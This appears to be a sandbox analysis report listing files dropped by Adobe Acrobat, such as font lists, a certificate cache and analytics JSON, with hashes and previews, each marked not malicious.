C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.215062827778861
Encrypted:	false
SSDEEP:	24:7+tEnnuwKtqL0MzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9H:7MYnCtq/mFTIF3XmHjBoGGR+jMz+Lh9
MD5:	62424399178487E3F709687B746B6385
SHA1:	615B741D0B3B87FC3162439A67354A81F77DF229
SHA-256:	1A6858B8596C3643E7A9845C6A9E7A3CA81AB3FD3836D665A4008A22261E0AFC
SHA-512:	5E17D30079E105D71AB0A37E5DD28ADCF92F97BDF2C056C43BE5C9DB90A78BD851C3EBAD0D43590FFE1D5E326DD32DD99A395570CD0645F2E0BA26194B4DD202
Malicious:	false
Preview:	.... .c.....]...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklN7Nb3/tfllXlE/HT8ksAzvNNX8RolJuRdxLlGB9lQRYwpDdt:kKEDeT8apNMa8RdWBwRd
MD5:	A50902022EAE580413E9B9BB65A1CFAD
SHA1:	1AB576FDA495ACE38EA90FB59CECA2B59FFE1486
SHA-256:	EC4C64637D04058F72F04A5DA2C34FDE459522CF07C8EDC128A78D9C8D887172
SHA-512:	5708C10A675572EC24241E00DD1C8E5FD8EE8E89707827B2405EC5C063A2F181199628E1E92F766751610E7CE34E360B1BEE593F0BA7172828F5169B99AF9358
Malicious:	false
Preview:	p...... ........>....c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6672

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6672

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3586012944652
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJM3g98kUwPeUkwRe9:YvXKXh8UoUcgEVGMbLUkee9
MD5:	A9017E3071A5784D150491D968FE9B5D
SHA1:	9F0058B6ABB59709232A9352D1703A111D349B14
SHA-256:	5B93839E550F6C9881FFB9096F423D991774FC7D143118C55F294E0A5CC321F6
SHA-512:	07433BAF6781C3A55261A827B6753792428C8F3C16DABEE81EF33378510EF743AB13AE228D7363F35C361EAFF9197AE083929B36FDFE202C0A4DCB479C9A7F65
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.311144917465023
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJfBoTfXpnrPeUkwRe9:YvXKXh8UoUcgEVGWTfXcUkee9
MD5:	D7F17DD6A6B24E717FDF974570D4A4B2
SHA1:	C525610526CB214200D3C7EA20D40E814AAA7957
SHA-256:	2B0C4A61B935ACF48CCA1F8728B397615D94FF44A4BE1FE23771C47C158B9EE1
SHA-512:	CFD103F635492E07274C354FF9DB130881531238AAA6830DDA8B439D63F6A4652ED34A99B1C8B7C4FE4007DC7A3F14859716AE338B6BD49945C8502C665024DD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.290904245122018
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJfBD2G6UpnrPeUkwRe9:YvXKXh8UoUcgEVGR22cUkee9
MD5:	F507803B20C8663FF2A0F0182B7C36D1
SHA1:	774AAA26BD2DCE9E72EB3F838137290DC5163715
SHA-256:	E0BE13C0A9F578354AE2028217B4F97779EAA58FB15EF7EDA48844D91519464B
SHA-512:	5E5732C482AA490E505BA74EFF5585AAD4A41E82C8C239E15DA3D7B83EAF4CAD2C0BAF22EC9759552A2A644F79E94C3F3D378D2CA9F04CFC9B75327F46F5F505
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.338456779186963
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJfPmwrPeUkwRe9:YvXKXh8UoUcgEVGH56Ukee9
MD5:	4865A708AE69E38844145543ACDBFBBA
SHA1:	89D9BE5B4B71D3652EA0B391F964F70AD1C1EC38
SHA-256:	47E31022314EDDE3E54EBDB8EB88A69589D32D1EE61B1822E61BB61D6168BEFB
SHA-512:	5FB9FA5927A66E585EC4397F3B42FACBE2677664163A2482E07C121FB3CF262028A3FD7930BA853C246FC468D93D8CC990520CD7A1F605ACBC0641993F74AC86
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689015878243631
Encrypted:	false
SSDEEP:	24:Yv6Xh855gE6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSQ:YvN5j6hgy6SAFv5Ah8cv/Q
MD5:	5FB7444B375A893A17197CF2F466AC56
SHA1:	DB58FCF2D5B3391A75B78EB4A6F39D2413E47E2C
SHA-256:	F15CD17F56916F8D0E246E0F424A39EE1B8951E83643904CEB5F67942FB7D2E3
SHA-512:	CA79A7E8D5EA48FA84A18FFDC18178E573E1130FFE3F08D89507306FBFD9E38D895D93EA216EF3B19EEA94CDAFF551549B2307DFAA2D8A62F957463CAB473232
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2889003168150515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJf8dPeUkwRe9:YvXKXh8UoUcgEVGU8Ukee9
MD5:	382893A66E4DE48B1770CE30C45E7730
SHA1:	EB753D5F289AC375AD7CAC169C39309941F7341B
SHA-256:	D5A6E29631B69C96CD8168E2212C6BCC2A763E3305F6EA6A7B8C84CAB9EE57DE
SHA-512:	97F72694686E41BA58DEDB224959D3E9CABD10DE8B8BF0782AF154AC014F1CF0D0D874DDA47FB9DAC4909F34319E4C40B009CAF1E092E42F23B3C7F840E3D29D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.291391980070188
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJfQ1rPeUkwRe9:YvXKXh8UoUcgEVGY16Ukee9
MD5:	9CAD8C8DCF04F2ECE77ABD4CD11688AE
SHA1:	5CD24433DA9A54FD9BF7EBA5319AE9407C174531
SHA-256:	3195AB6A3B4EE2ABFCE66DF0F492608F3E1567785BB5AA744D4585FDF555223A
SHA-512:	50A3BDE9F2D8F71ACAF9013EB32AC363F7558D933E152AB93EACB93D29C4703077D00EC9477D63DC4448AA76407975229A0400170F43448B6CB1E5107E794428
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29933417112365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJfFldPeUkwRe9:YvXKXh8UoUcgEVGz8Ukee9
MD5:	0F62A884B53849073C16FB645FE04A79
SHA1:	2574541004B1E97F2AB82E4E8A6498CA93DCB0E8
SHA-256:	EA63BA519F7926ADC54D28803980E9B4FDFD28D9475A2A65E3AF85D012B102D7
SHA-512:	0540F7E13D808D5D46B1CF460960EAD19D1E141F81B9F7F83E68BCFAE32546F5230AE596DBBE06668C27196930B5E1556D84BF01E2C30F9A39D595C5FCF3ECB0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.314496426909809
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJfzdPeUkwRe9:YvXKXh8UoUcgEVGb8Ukee9
MD5:	BACD1CA5B7B1638EA8721D3C734D598B
SHA1:	07103CCD9CED832632A8C5F8D7990E8DB3197547
SHA-256:	7FE9C66E5549E125B044BDEC08DFD42E006A762A227F872E849B058D48296BC3
SHA-512:	6DCC0F377E3DCCE7A445413A04F1B31E958FCF8CE10D61266BA9A1ADCFDF4067A6E85FF93DB19D394B7CE6DA39D72D50258DA72238776631D9CD69CD4E0C73C3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295039120672933
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJfYdPeUkwRe9:YvXKXh8UoUcgEVGg8Ukee9
MD5:	BB818D18A3F7C671743E28A97BAEF8E3
SHA1:	E880CEFA761AB2EB0F0F9CD5FF8A8BFD46FDEDED
SHA-256:	9BF039A2FBC809DAF2FE63F4623ECB352C219369DD5077FF9A8FF10B3E4C81FF
SHA-512:	1E54DB3D3EA1EA1A422F032A2F3D88AD0BECABDDE6B1B7C819399676C3C855F397D71B63877AEFB068BB00F4AA3950ADABDB96D5B7E0E365C0C5B65591698846
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2815835076914945
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJf+dPeUkwRe9:YvXKXh8UoUcgEVG28Ukee9
MD5:	B88093A5F5EA525B01541521A1EBB01E
SHA1:	D3F6C33FC2EEEECB4500125B1EFB3D680C8A0BD8
SHA-256:	FE8714F8129CF45A5A77E514B6B0547B5055BE944976ADB3250EE421DF39D282
SHA-512:	11830E4F32E460F3AAF3DC726EEB0B7924AB5287CC5BF1003886BA79A992D755797F9DEDDDF5C592759180B0A4CD5CCC832429E050F0273F8959A74F20516CD7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

